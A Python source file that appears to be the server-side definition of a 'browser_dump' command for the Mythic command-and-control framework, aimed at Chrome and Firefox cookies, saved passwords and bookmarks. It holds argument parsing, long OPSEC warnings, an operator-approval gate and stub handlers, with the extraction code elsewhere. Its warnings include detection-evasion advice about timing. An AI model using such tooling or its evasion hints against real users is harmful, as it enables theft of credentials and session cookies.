from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json


class BrowserDumpArguments(TaskArguments):
    def __init__(self, command_line, **kwargs):
        super().__init__(command_line, **kwargs)
        self.args = [
            CommandParameter(
                name="browser",
                type=ParameterType.ChooseOne,
                description="Browser to dump (cookies, logins, and bookmarks)",
                choices=["chrome", "firefox"],
                parameter_group_info=[ParameterGroupInfo(
                    required=True,
                    ui_position=1
                )]
            ),
        ]

    async def parse_arguments(self):
        if len(self.command_line) == 0:
            raise ValueError("Must supply a browser name: chrome or firefox")
        
        browser = self.command_line.strip().lower()
        valid_browsers = ["chrome", "firefox"]
        
        if browser not in valid_browsers:
            raise ValueError(f"Invalid browser. Must be one of: {', '.join(valid_browsers)}")
        
        self.add_arg("browser", browser)

    async def parse_dictionary(self, dictionary_arguments):
        self.load_args_from_dictionary(dictionary_arguments)


class BrowserDumpCommand(CommandBase):
    cmd = "browser_dump"
    needs_admin = False
    help_cmd = "browser_dump <browser>"
    description = "Dump cookies, saved logins (passwords), and bookmarks from the specified browser. Supports Chrome and Firefox. Extracts encrypted credentials and decrypts them using browser-specific methods. Automatically reports extracted credentials to Mythic's credential store. HIGH OPSEC RISK: This command accesses browser credential stores which are heavily monitored by EDR/XDR solutions. Browser credential access is a common indicator of credential theft attacks."
    version = 1
    author = "Kaseya OFSTeam"
    attackmapping = ["T1555", "T1539"]
    argument_class = BrowserDumpArguments
    attributes = CommandAttributes(
        supported_os=[SupportedOS.Windows]
    )

    async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
        """
        OPSEC check before creating the task.
        Browser credential dumping is highly detectable.
        """
        browser = taskData.args.get_arg("browser") or ""
        browser_lower = browser.lower()
        
        message = "🚨 HIGH OPSEC RISK - Browser Credential Dumping\n\n"
        message += f"Target Browser: {browser.upper()}\n\n"
        message += "This command will:\n"
        message += "  • Access browser credential databases (SQLite files)\n"
        message += "  • Read encrypted password stores\n"
        message += "  • Decrypt browser-protected credentials\n"
        message += "  • Extract cookies, saved passwords, and bookmarks\n\n"
        
        message += "🔍 DETECTION RISKS:\n"
        message += "  • EDR/XDR solutions monitor browser credential access\n"
        message += "  • File access to browser databases triggers alerts\n"
        message += "  • Credential theft detection rules (MITRE T1555)\n"
        message += "  • Behavioral analysis detects credential extraction patterns\n"
        message += "  • Elastic Security detects unsigned processes accessing browser stores\n\n"
        
        message += "⚠️ HIGH DETECTION PROBABILITY:\n"
        message += "  • Browser credential access is a primary indicator of attack\n"
        message += "  • Many security tools have specific rules for this activity\n"
        message += "  • File access patterns are logged and monitored\n\n"
        
        message += "💡 CONSIDERATIONS:\n"
        message += "  • This activity is commonly detected within minutes\n"
        message += "  • Consider timing (off-hours may reduce detection)\n"
        message += "  • Ensure you have proper authorization\n"
        message += "  • Alternative: Use browser_info first to identify available browsers\n\n"
        
        message += "✅ This command requires approval from another operator."
        
        return PTTTaskOPSECPreTaskMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
            OpsecPreBlocked=True,  # Block by default
            OpsecPreBypassRole="other_operator",  # Requires another operator to approve
            OpsecPreMessage=message
        )

    async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
        """
        OPSEC check after creating the task.
        Warns about artifacts that will be created.
        """
        browser = taskData.args.get_arg("browser") or ""
        
        message = "🚨 OPSEC POST-CHECK - Browser Credential Dumping Artifacts\n\n"
        message += f"Target Browser: {browser.upper()}\n\n"
        message += "This task will create the following artifacts:\n"
        message += "  • File Read: Browser credential database access\n"
        message += "  • File Read: Browser Local State file (for Chromium browsers)\n"
        message += "  • File Read: Browser profiles.ini (for Firefox)\n"
        message += "  • Credential Access: Browser password store access\n"
        message += "  • Credential Extraction: Decrypted credentials reported to Mythic\n\n"
        
        message += "🔍 DETECTION RISKS:\n"
        message += "  • EDR/XDR file access monitoring\n"
        message += "  • Credential theft detection rules\n"
        message += "  • Behavioral analysis (credential extraction patterns)\n"
        message += "  • File access auditing (if enabled)\n\n"
        
        message += "⚠️ CRITICAL DETECTION PROBABILITY:\n"
        message += "  • Browser credential access is heavily monitored\n"
        message += "  • Detection is likely within minutes\n"
        message += "  • Multiple security layers may trigger alerts\n\n"
        
        message += "✅ This is a FINAL WARNING - task will proceed if approved.\n"
        message += "Ensure you understand the detection risks before continuing."
        
        return PTTTaskOPSECPostTaskMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
            OpsecPostBlocked=False,  # Don't block, just warn
            OpsecPostBypassRole="operator",
            OpsecPostMessage=message
        )

    async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
        response = PTTaskCreateTaskingMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
        )
        browser = taskData.args.get_arg("browser") or ""
        response.DisplayParams = f"browser: {browser}"
        return response

    async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
        """
        Process response from agent.
        The response contains dumped browser data (cookies, logins, bookmarks).
        """
        resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
        return resp

